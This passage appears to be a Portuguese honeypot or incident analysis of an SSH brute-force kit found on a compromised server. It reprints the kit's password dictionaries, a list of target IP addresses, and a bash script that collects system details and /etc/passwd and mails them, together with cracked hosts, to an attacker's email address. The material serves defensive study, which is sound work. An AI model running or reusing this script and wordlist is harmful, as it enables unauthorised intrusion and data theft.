[+] UnixCoD Atack 2005 ver 0×10 [ Made By : Ghost Kilah ]
data.conf
Lipsa data.conf
Too large banner
Remote host closed connection
SSH-2.0-libssh-0.1
Got SSH_MSG_NEWKEYS
SSH_MSG_NEWKEYS sent
No signature in packet
No F number in packet
No public key in packet
banner : %s
Hostname required
…
…
resolving %s
connect: %s
Binding local address : %s
socket : %s
Failed to resolve bind address %s (%s)
Failed to resolve hostname %s (%s)
…
…
partial success, authentications that can continue : %s
Access denied. authentications that can continue : %s
invalid SSH_MSG_USERAUTH_FAILURE message
…
e o conteúdo do arquivo ‘data.conf’
root root
root root1
root root12
root root123
root root1234
root root12345
root root123456
root 1
root 12
root 123
root 1234
root 12345
root 123456
root 1234567
root 12345678
root 123456789
root redhat
root test123
root admin123
root router
test testtest
test test
test password
….
….
No diretório localizei mais cinco arquivos onde continham usuário e senhas para o brute force, em um deles localizei a senha que tínhamos utilizado para o usuário ‘root’ do servidor, veja abaixo:
globus globus
condor condor
tomcat tomcat
global global
upload upload
jboss jboss
postmaster postmaster
demo demo
apache apache
postgres postgres
mysql mysql
tester tester
testing testing
test test
photo photo
oracle oracle
…
…
root testtest
root !@#test
root test!@#
root r00t
root server123
root 123server
root server
root internet
root windows
root admin!@#
root !@#admin
root mysql123
root 123mysql
root *
root **
root ***
root ****
root *****
root ******
Mais artefatos!!
#!/bin/bash
echo “[+] [+] [+] RK [+] [+] [+]” >> info2
echo “[+] [+] [+] IP [+] [+] [+]” >> info2
/sbin/ifconfig -a >> info2
echo “[+] [+] [+] uptime [+] [+] [+]” >> info2
uptime >> info2
echo “[+] [+] [+] uname -a [+] [+] [+]” >> info2
uname -a >> info2
echo “[+] [+] [+] /etc/issue [+] [+] [+]” >> info2
cat /etc/issue >> info2
echo “[+] [+] [+] passwd [+] [+] [+]” >> info2
cat /etc/passwd >> info2
echo “[+] [+] [+] id [+] [+] [+]” >> info2
id >> info2
echo “[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]” >> info2
df -h >> info2
pwd >> info2
cat info2 | mail -s “Scanner MaLa Port : ?? | Pass : stii tu 
)” mafia89tm@yahoo.com
rm -rf info2
clear
echo “####################################################################”
echo “# ______ “
echo “# .-. .-. ”
echo “# / \ “
echo “# | zRR | ”
echo “# |, .-. .-. ,| “
echo “# | )(z_/ \z_)( | ”
echo “# |/ /\ \| ”
echo “# _ (_ ^^ _) ”
echo “# _\ ____) \_______\__|IIIIII|__/_________________________ ”
echo “# (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\ ”
echo “# / )_/ \ / ”
echo “# \ ______ / ”
echo “# SCANER PRIVAT ”
echo “# SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe “
echo “# SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !! ”
echo “####################################################################”
if [ -f a ]; then
cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com
./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com
./a $1.11
./a $1.12
./a $1.13
./a $1.14
./a $1.15
./a $1.16
./a $1.17
./a $1.18
./a $1.19
./a $1.20
cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com
./a $1.21
./a $1.22
./a $1.23
./a $1.24
./a $1.25
./a $1.26
./a $1.27
./a $1.28
./a $1.29
./a $1.30
cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com
./a $1.31
./a $1.32
./a $1.33
./a $1.34
./a $1.35
./a $1.36
./a $1.37
./a $1.38
./a $1.39
./a $1.40
cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com
./a $1.41
./a $1.42
./a $1.43
./a $1.44
./a $1.45
./a $1.46
./a $1.47
./a $1.48
./a $1.49
./a $1.50
cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com
….
….
O script principal grava o endereço ip, usuário e senha dos alvos que obtiveram sucesso com o brute force grava no arquivo vuln.txt que também é enviado ao mafia89tm@yahoo.com.
Além do brute force, consegui até o e-mail do atacante/grupo, que neste ultimo script coleta diversas informações sobre o endereço ip, sistema operacional, espaço em disco, usuários do sistema etc…
Até o momento o arquivo vuln.txt esta vazio, abaixo veremos a lista de ip’s a serem atacados, localizado no arquivo texto ‘mfu.txt’, com um tamanho de 30kb.
root@dns:/tmp/ /unixcod# cat mfu.txt
202.103.194.106
219.0.6.112
219.101.152.94
219.101.153.65
219.101.160.111
219.101.160.117
219.101.160.119
219.101.160.125
219.101.160.128
219.101.160.142
219.101.169.84
219.101.197.54
219.101.218.42
219.101.218.45
219.101.253.126
219.101.39.229
219.101.41.178
219.101.41.192
219.101.42.162
219.101.42.170
219.101.45.78
219.102.119.116
219.102.129.119
219.102.161.53
219.102.215.170
219.102.247.153
219.102.248.43
219.102.43.16
219.102.65.103
219.102.74.143
219.103.211.237
219.105.35.40
….
….
No final desta terceira semana a quantidade de conexões de saída para diversos países do mundo era absurda, o processamento do servidor oscilava sempre entre 80% e 90% de uso.
Neste período não tive a oportunidade de ser testado com um exploit novo ou alguma técnica de exploração ou escalação de privilégios, porém devemos tomar atenção pois muitas coisas poderiam acontecer se o servidor ficasse por mais tempo online:
- O servidor poderia a partir de qualquer momento escanear portas de diversos hosts ou qualquer tipo de crime eletrônico poderia levar a sérios problemas judiciais.
- Proliferação de Spam a partir do servidor, isto também é um crime eletrônico.
- Armazenamento de vírus e malwares com foco em ataques automatizados.
- Ataques de Negação de Serviço
- Servir como mais um nó das grandes redes de Botnets